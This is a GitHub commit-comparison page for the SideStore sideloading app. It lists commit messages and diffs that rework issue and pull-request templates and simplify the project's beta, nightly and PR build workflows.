Compare commits

..

69 Commits

Author SHA1 Message Date
f1shy-dev
8029a34410 Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-03-24 19:04:16 +00:00
f1shy-dev
48e0b37b4d Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-03-24 18:40:52 +00:00
naturecodevoid
99cb43bbea [skip ci] include commit SHA in PR builds
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-03-24 08:56:30 -07:00
Riley Testut
ca7d8277f7 Fixes “no provisioning profile with the requested identifier…” error
As of March 20, 2023, deleting an app’s auto-generated free provisioning profile is no longer supported. However, fetching the provisioning profile now re-generates is every time, so there’s no need to delete it first.

As a workaround, we now simply use the first profile we fetched if we receive an error when deleting it. This approach should continue to work even if Apple later reverses this change.
2023-03-21 18:52:56 -04:00
Joe Mattiello
337d26333e Update README.md
Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-20 00:02:11 -04:00
Joe Mattiello
ebb64d255b Update README.md
Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-20 00:00:56 -04:00
Joe Mattiello
7dcb199f68 Update README.md
Add repobeats svg

Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-19 23:28:32 -04:00
naturecodevoid
4334e887de [skip ci] use bundle ID from Build.xcconfig in AltStore.xcconfig 2023-03-12 16:38:59 -07:00
naturecodevoid
4e84dc4cc8 [skip ci] rename the *.dSYM artifact so that macOS treats it as a normal folder 2023-03-07 08:24:28 -08:00
naturecodevoid
1a1ed072bf attach debugging symbols to actions builds 2023-03-07 07:50:31 -08:00
naturecodevoid
ae457f07c4 add https for ani.sidestore.io to Settings.bundle 2023-03-07 07:27:36 -08:00
Nythepegasus
00095942c3 Merge pull request #288 from SideStore/Remove-jk-anisette 2023-03-07 00:54:51 -05:00
Spidy123222
d1caa5fc21 Merge branch 'develop' into Remove-jk-anisette 2023-03-06 12:11:02 -08:00
Spidy123222
813e2f97ac Change version to 0.3.2
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-06 12:10:39 -08:00
Nythepegasus
bcb5a90f5e Add SSL encryption to ani.sidestore.io
Signed-off-by: Nythepegasus <nythepegasus84@gmail.com>
2023-03-06 14:09:16 -05:00
Spidy123222
020a1a3149 Replace sideloady to use sidestore ani
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-05 19:27:25 -08:00
Spidy123222
c4d649ec58 Remove jkcoxson anisette servers.
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-05 13:45:10 -08:00
naturecodevoid
c02cf2c284 Update error codes to match minimuxer error codes (this is why people got Unknown error instead of an actual error message)
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-03-04 08:08:35 -08:00
Spidy123222
c30afd042e Change version to 0.3.1
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-01 13:17:09 -08:00
naturecodevoid
17640fe6cf Cherry pick app ID logging fix from duplicate profiles PR 2023-02-25 14:36:37 -08:00
Joe Mattiello
2e4f6ee420 Merge pull request #272 from SideStore/naturecodevoid/prebuild-rust-deps-attempt-2
More actions updates, contributing guide
2023-02-24 00:00:43 -05:00
naturecodevoid
a3768d9221 [skip ci] actions: Add info/automate cache resetting 2023-02-21 17:27:56 -08:00
naturecodevoid
80c3390363 [skip ci] Makefile: Remove build_rust_dependencies 2023-02-21 17:07:58 -08:00
naturecodevoid
a5e3869d8f Project: update CONTRIBUTING.md to use Makefile 2023-02-21 17:01:24 -08:00
naturecodevoid
aa7d7c2d02 Revert "modify actions to work on test branch"
This reverts commit e59fb15926.
2023-02-21 12:51:34 -08:00
naturecodevoid
015f205569 update release descriptions 2023-02-21 12:42:56 -08:00
naturecodevoid
e59fb15926 modify actions to work on test branch 2023-02-21 12:24:25 -08:00
naturecodevoid
173c585f2d cleanup actions, revamp beta action, modify nightly build num system to be day specific 2023-02-21 12:23:12 -08:00
naturecodevoid
6f8c27793e cleanup makefile and add build steps from github actions 2023-02-21 12:19:08 -08:00
naturecodevoid
332b81c803 No more rust 2023-02-20 20:36:39 -08:00
naturecodevoid
4b343b500d fetch-prebuilt.sh whitespace improvement 2023-02-20 19:43:46 -08:00
naturecodevoid
e87c537642 Update CONTRIBUTING.md 2023-02-20 18:58:42 -08:00
naturecodevoid
2e6300cce2 add changes from attempt #1 2023-02-20 18:50:40 -08:00
naturecodevoid
09514d15a6 use prebuilt binaries 2023-02-20 18:48:21 -08:00
naturecodevoid
0de23dcba0 remove submodules 2023-02-20 16:33:11 -08:00
f1shy-dev
2337043466 random file 2023-02-20 22:44:58 +00:00
f1shy-dev
cc6b048b9c so we now aren't detected by like 8 antiviruses but windows defender loves me 2023-02-20 22:44:37 +00:00
Joss Laymon
bacb153151 Use new pojav url
Signed-off-by: Joss Laymon <71040782+bogotesr@users.noreply.github.com>
2023-02-20 11:21:30 -07:00
f1shy-dev
108f7a936d Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-02-20 17:33:50 +00:00
naturecodevoid
a01aa299d8 SourcesViewController: Fix 1 trusted source causing an error making all trusted sources fail to load 2023-02-18 20:33:44 -08:00
Spidy123222
44edbddbd8 Replace placeholder video with instructions. (#266) 2023-02-15 21:14:51 -08:00
f1shy-dev
46945bc087 remove weird artifacts 2023-02-11 20:20:50 +00:00
f1shy-dev
486b3d12bd mdc v14 2023-02-11 20:16:13 +00:00
f1shy-dev
0dc0ff8151 cache deps 2023-02-06 18:04:36 +00:00
f1shy-dev
b2a1fdb6ee mdc exploit 2023-02-06 17:54:26 +00:00
naturecodevoid
79d677cf3c Revamp issue and PR templates (#253)
* Create config.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Delete bug_report.md

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create bug_report.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create feature_request.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create pull_request_template.md

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

---------

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-02-06 00:43:44 -05:00
oqammx86
be39b6512f Add sidestore anisette server
Signed-off-by: oqammx86 <84847714+oq-x@users.noreply.github.com>
2023-02-02 13:05:36 -05:00
naturecodevoid
fcfeea35da Revert "Release channel support (#239)"
This reverts commit 7d0eb8c61e.
2023-02-02 08:09:15 -08:00
naturecodevoid
7d0eb8c61e Release channel support (#239)
* Release channel support

- Show SideStore in Browse if it's not from the current SideStore source
- Change SideStore source URL and source ID based on if beta and nightly are in the version string
- Use StoreApp name for InstalledApp name to allow for source-specified name to show up in My Apps

* My Apps: Fix incorrect app name on first launch

* News: fix duplicate news items from multiple SideStore release channel sources

* Trusted Sources: Add stable and beta
2023-02-02 08:05:27 -08:00
naturecodevoid
4d8438a6b6 Update minimuxer 2023-02-01 20:05:26 -08:00
naturecodevoid
f611244e35 Add PR suffix to version in PR workflow
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-26 17:13:32 -08:00
naturecodevoid
546a978d3b Update .gitignore 2023-01-25 06:50:06 -08:00
naturecodevoid
70b23fb073 Merge remote-tracking branch 'upstream/develop' into develop 2023-01-19 17:39:11 -08:00
naturecodevoid
a56ca597d6 Fix build errors 2023-01-19 17:37:43 -08:00
naturecodevoid
679e0228a8 Remove debug
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-19 08:30:47 -08:00
naturecodevoid
e153394323 Merge branch 'develop' of https://github.com/naturecodevoid/SideStore into develop 2023-01-19 07:56:52 -08:00
naturecodevoid
5bd1fcfcfd Merge branch 'develop' of https://github.com/SideStore/SideStore into develop 2023-01-19 07:54:25 -08:00
naturecodevoid
2a392ddc44 SemVer version comparison 2023-01-19 07:52:47 -08:00
Joelle Stickney
b5cb8bc0d9 Updated Patreon Link 2023-01-18 14:41:24 -05:00
naturecodevoid
ab9df8201a Merge remote-tracking branch 'upstream/develop' into develop 2023-01-09 17:40:50 -08:00
naturecodevoid
b0fac34ffc Nightly release build (#2)
* Update and rename build.yml to nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* trigger on tag

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add version and build number

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Revert "test"

This reverts commit 9dff8d1d878a764a432ef4560300acdb4407313a.

* Remove pr from stable

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add pr.yml

* Add nightly suffix and build number

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add beta

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* [beta] test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Remove test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
5ede9f7c6b Remove testing logic, final changes
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
c7254fd23e Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
55fcea04af Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
c212c0a6b2 Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
a31fd6709a Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
e367fd2b73 Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
1ca67d0241 Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
8ffa952ff9 start on nightly builds
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
55 changed files with 3208 additions and 1813 deletions

View File

@@ -1,34 +0,0 @@
---
name: Bug report
about: Create a report to help us improve
title: "[BUG]"
labels: bug
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Logs**
Please send logs generated with [idevicedebug](https://github.com/libimobiledevice/libimobiledevice) or Xcode. We will close the issue if a log is missing.
**iDevice (please complete the following information):**
- Device: [e.g. iPhone6]
- OS: [e.g. iOS8.1]
**Additional context**
Add any other context about the problem here.

40
.github/ISSUE_TEMPLATE/bug_report.yml vendored Normal file
View File

@@ -0,0 +1,40 @@
name: Bug Report
description: Report a bug
title: "[BUG] "
labels: ["bug"]
assignees:
- naturecodevoid
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to fill out this bug report! Before you continue filling out the report, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the bug you are experiencing** in case it has already been reported.
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
- type: textarea
id: description
attributes:
label: Describe the bug
description: What is the bug and how did you discover it?
placeholder: Please be clear and concise with your description.
validations:
required: true
- type: textarea
id: how-to-reproduce
attributes:
label: Instructions to reproduce
description: Please include clear and consistent instructions for reproducing the bug to make it easier for us to fix it.
validations:
required: true
- type: input
id: app-version
attributes:
label: What version of SideStore are you using?
description: To retrieve this, go to `Settings` in the SideStore app and scroll down to the bottom.
validations:
required: true
- type: textarea
id: other-info
attributes:
label: Other info
description: If you have any other comments, other info that might be useful, or if you found a workaround, please put it here.

10
.github/ISSUE_TEMPLATE/config.yml vendored Normal file
View File

@@ -0,0 +1,10 @@
# force issue template usage
blank_issues_enabled: false
contact_links:
- name: Discord
url: https://discord.gg/RgpFBX3Q3k
about: If you need support, please go here first instead of making an issue!
- name: GitHub Discussions
url: https://github.com/SideStore/SideStore/discussions
about: As an alternative to Discord, you can also make a new GitHub discussion.

View File

@@ -0,0 +1,33 @@
name: Feature Request
description: Suggest a feature
title: "[FEATURE REQUEST] "
labels: ["enhancement"]
assignees:
- naturecodevoid
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to fill out this feature request! Before you continue filling out the form, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the feature you are suggestion** in case it has already been suggested.
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
- type: textarea
id: description
attributes:
label: Describe the feature
description: What is the feature? How would it work?
placeholder: Please be clear and concise with your description.
validations:
required: true
- type: textarea
id: use-cases
attributes:
label: Use cases
description: Please include multiple use cases where this feature would be useful.
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: Alternatives
description: If you have alternative ideas of how this feature could work, you can put them here.

15
.github/pull_request_template.md vendored Normal file
View File

@@ -0,0 +1,15 @@
### Changes
<!-- Fill this list with what your PR changes. Example: -->
- Fix bug
- Change UI for QOL
<!-- If your PR is ready to be merged, you can remove this section. -->
### Todo before merge
<!-- Example: -->
- [x] Finish UI changes
- [ ] Test
<!-- If your PR doesn't close an issue, you can remove the next line. -->
Closes #1234

View File

@@ -1,16 +1,12 @@
name: Beta SideStore build name: Beta SideStore build
on: on:
push: push:
branches: tags:
- develop - '[0-9]+.[0-9]+.[0-9]+-beta.[0-9]+' # example: 1.0.0-beta.1
jobs: jobs:
build: build:
name: Build and upload SideStore Beta name: Build and upload SideStore Beta
if: startsWith(github.event.head_commit.message, '[beta]')
concurrency:
group: ${{ github.ref }}
cancel-in-progress: true
strategy: strategy:
fail-fast: false fail-fast: false
matrix: matrix:
@@ -25,63 +21,11 @@ jobs:
with: with:
submodules: recursive submodules: recursive
# - name: Cache rust cargo
# id: cache-rust-cargo
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-cargo
# with:
# path: ~/.cargo
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
# - name: Cache rust minimuxer
# id: cache-rust-minimuxer
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-minimuxer
# with:
# path: ./Dependencies/minimuxer/target
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
# - name: Cache rust em_proxy
# id: cache-rust-em_proxy
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-em_proxy
# with:
# path: ./Dependencies/em_proxy/target
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
- name: Install dependencies - name: Install dependencies
run: brew install ldid run: brew install ldid
- name: Install rustup - name: Change version to tag
uses: actions-rs/toolchain@v1 run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
with:
toolchain: stable
override: true
target: aarch64-apple-ios
# - name: Create emotional damage
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
# - name: Build minimuxer
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
- name: Add beta suffix to version
run: sed -e '/MARKETING_VERSION = .*/s/$/-beta.${{ github.run_number }}/' -i '' Build.xcconfig
- name: Setup Xcode - name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1 uses: maxim-lobanov/setup-xcode@v1.4.1
@@ -89,36 +33,26 @@ jobs:
xcode-version: ${{ matrix.version }} xcode-version: ${{ matrix.version }}
- name: Build SideStore - name: Build SideStore
run: | run: make build | xcpretty && exit ${PIPESTATUS[0]}
xcodebuild -project AltStore.xcodeproj \
-scheme AltStore \
-sdk iphoneos \
archive -archivePath ./archive \
CODE_SIGNING_REQUIRED=NO \
AD_HOC_CODE_SIGNING_ALLOWED=YES \
CODE_SIGNING_ALLOWED=NO \
DEVELOPMENT_TEAM=XYZ0123456 \
ORG_IDENTIFIER=com.SideStore \
| xcpretty && exit ${PIPESTATUS[0]}
- name: Fakesign app - name: Fakesign app
run: | run: make fakesign
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
- name: Convert to IPA - name: Convert to IPA
run: | run: make ipa
mkdir Payload
mkdir Payload/SideStore.app
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
zip -r SideStore.ipa Payload
- name: Upload Artifact - name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0 uses: actions/upload-artifact@v3.1.0
with: with:
name: SideStore.ipa name: SideStore.ipa
path: SideStore.ipa path: SideStore.ipa
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-dSYM
path: ./*.dSYM/
- name: Get version - name: Get version
id: version id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
@@ -131,22 +65,22 @@ jobs:
id: date_altstore id: date_altstore
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
- name: Upload to beta release - name: Upload to new beta release
uses: IsaacShelton/update-existing-release@v1.3.1 uses: softprops/action-gh-release@v1
with: with:
token: ${{ secrets.GITHUB_TOKEN }} token: ${{ secrets.GITHUB_TOKEN }}
release: "Beta" name: ${{ steps.version.outputs.version }}
tag: "beta" tag_name: ${{ github.ref_name }}
draft: true
prerelease: true prerelease: true
files: SideStore.ipa files: SideStore.ipa
body: | body: |
This is an ⚠️ **EXPERIMENTAL** ⚠️ beta build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}). <!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
## Changelog
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal, but with a lower chance of bugs than if you used nightly builds. However, since these changes are newer and less tested, they still have a good chance of bugs, so **use at your own risk**. - TODO
If you want to be on the bleeding edge and use the latest development builds, you can look at [SideStore Nightly](https://github.com/${{ github.repository }}/releases/tag/nightly). **Please be aware that these builds have a much higher chance of bugs than beta or stable**.
If you use the `SideStore (Beta)` app, it will use the latest beta build (make sure to update it in "My Apps").
## Build Info ## Build Info

View File

@@ -0,0 +1,28 @@
#!/usr/bin/env bash
# Ensure we are in root directory
cd "$(dirname "$0")/../.."
DATE=`date -u +'%Y.%m.%d'`
BUILD_NUM=1
write() {
sed -e "/MARKETING_VERSION = .*/s/$/-nightly.$DATE.$BUILD_NUM/" -i '' Build.xcconfig
echo "$DATE,$BUILD_NUM" > .nightly-build-num
}
if [ ! -f ".nightly-build-num" ]; then
write
exit 0
fi
LAST_DATE=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $1'`
LAST_BUILD_NUM=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $2'`
if [[ "$DATE" != "$LAST_DATE" ]]; then
write
else
BUILD_NUM=`expr $LAST_BUILD_NUM + 1`
write
fi

View File

@@ -24,63 +24,17 @@ jobs:
with: with:
submodules: recursive submodules: recursive
# - name: Cache rust cargo
# id: cache-rust-cargo
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-cargo
# with:
# path: ~/.cargo
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
# - name: Cache rust minimuxer
# id: cache-rust-minimuxer
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-minimuxer
# with:
# path: ./Dependencies/minimuxer/target
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
# - name: Cache rust em_proxy
# id: cache-rust-em_proxy
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-em_proxy
# with:
# path: ./Dependencies/em_proxy/target
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
- name: Install dependencies - name: Install dependencies
run: brew install ldid run: brew install ldid
- name: Install rustup - name: Cache .nightly-build-num
uses: actions-rs/toolchain@v1 uses: actions/cache@v3
with: with:
toolchain: stable path: .nightly-build-num
override: true key: nightly-build-num
target: aarch64-apple-ios
# - name: Create emotional damage - name: Increase nightly build number and set as version
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios run: bash .github/workflows/increase-nightly-build-num.sh
# - name: Build minimuxer
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
- name: Add nightly suffix to version
run: sed -e '/MARKETING_VERSION = .*/s/$/-nightly.${{ github.run_number }}/' -i '' Build.xcconfig
- name: Setup Xcode - name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1 uses: maxim-lobanov/setup-xcode@v1.4.1
@@ -88,36 +42,26 @@ jobs:
xcode-version: ${{ matrix.version }} xcode-version: ${{ matrix.version }}
- name: Build SideStore - name: Build SideStore
run: | run: make build | xcpretty && exit ${PIPESTATUS[0]}
xcodebuild -project AltStore.xcodeproj \
-scheme AltStore \
-sdk iphoneos \
archive -archivePath ./archive \
CODE_SIGNING_REQUIRED=NO \
AD_HOC_CODE_SIGNING_ALLOWED=YES \
CODE_SIGNING_ALLOWED=NO \
DEVELOPMENT_TEAM=XYZ0123456 \
ORG_IDENTIFIER=com.SideStore \
| xcpretty && exit ${PIPESTATUS[0]}
- name: Fakesign app - name: Fakesign app
run: | run: make fakesign
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
- name: Convert to IPA - name: Convert to IPA
run: | run: make ipa
mkdir Payload
mkdir Payload/SideStore.app
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
zip -r SideStore.ipa Payload
- name: Upload Artifact - name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0 uses: actions/upload-artifact@v3.1.0
with: with:
name: SideStore.ipa name: SideStore.ipa
path: SideStore.ipa path: SideStore.ipa
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-dSYM
path: ./*.dSYM/
- name: Get version - name: Get version
id: version id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
@@ -141,11 +85,9 @@ jobs:
body: | body: |
This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}). This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
Nightly builds are built from the most recent commit which means you'll be able to try out new features very early. However, since these changes are much newer and less tested, they have a much higher chance of bugs, so **use at your own risk**. Nightly builds are **extremely experimental builds only meant to be used by developers and alpha testers. They often contain bugs and experimental features. Use at your own risk!**
If you want to try out new features early but want a lower chance of bugs, you can look at [SideStore Beta](https://github.com/${{ github.repository }}/releases/tag/beta). If you want to try out new features early but want a lower chance of bugs, you can look at [SideStore Beta](https://github.com/${{ github.repository }}/releases?q=beta).
If you use the `SideStore (Nightly)` app, it will use the latest nightly build (make sure to update it in "My Apps").
## Build Info ## Build Info
@@ -153,3 +95,6 @@ jobs:
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}` Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}` Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}` Version: `${{ steps.version.outputs.version }}`
- name: Reset cache for apps.sidestore.io/nightly
run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}

View File

@@ -19,60 +19,11 @@ jobs:
with: with:
submodules: recursive submodules: recursive
# - name: Cache rust cargo
# id: cache-rust-cargo
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-cargo
# with:
# path: ~/.cargo
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
# - name: Cache rust minimuxer
# id: cache-rust-minimuxer
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-minimuxer
# with:
# path: ./Dependencies/minimuxer/target
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
# - name: Cache rust em_proxy
# id: cache-rust-em_proxy
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-em_proxy
# with:
# path: ./Dependencies/em_proxy/target
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
- name: Install dependencies - name: Install dependencies
run: brew install ldid run: brew install ldid
- name: Install rustup - name: Add PR suffix to version
uses: actions-rs/toolchain@v1 run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
with:
toolchain: stable
override: true
target: aarch64-apple-ios
# - name: Create emotional damage
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
# - name: Build minimuxer
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
- name: Setup Xcode - name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1 uses: maxim-lobanov/setup-xcode@v1.4.1
@@ -80,32 +31,22 @@ jobs:
xcode-version: ${{ matrix.version }} xcode-version: ${{ matrix.version }}
- name: Build SideStore - name: Build SideStore
run: | run: make build | xcpretty && exit ${PIPESTATUS[0]}
xcodebuild -project AltStore.xcodeproj \
-scheme AltStore \
-sdk iphoneos \
archive -archivePath ./archive \
CODE_SIGNING_REQUIRED=NO \
AD_HOC_CODE_SIGNING_ALLOWED=YES \
CODE_SIGNING_ALLOWED=NO \
DEVELOPMENT_TEAM=XYZ0123456 \
ORG_IDENTIFIER=com.SideStore \
| xcpretty && exit ${PIPESTATUS[0]}
- name: Fakesign app - name: Fakesign app
run: | run: make fakesign
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
- name: Convert to IPA - name: Convert to IPA
run: | run: make ipa
mkdir Payload
mkdir Payload/SideStore.app
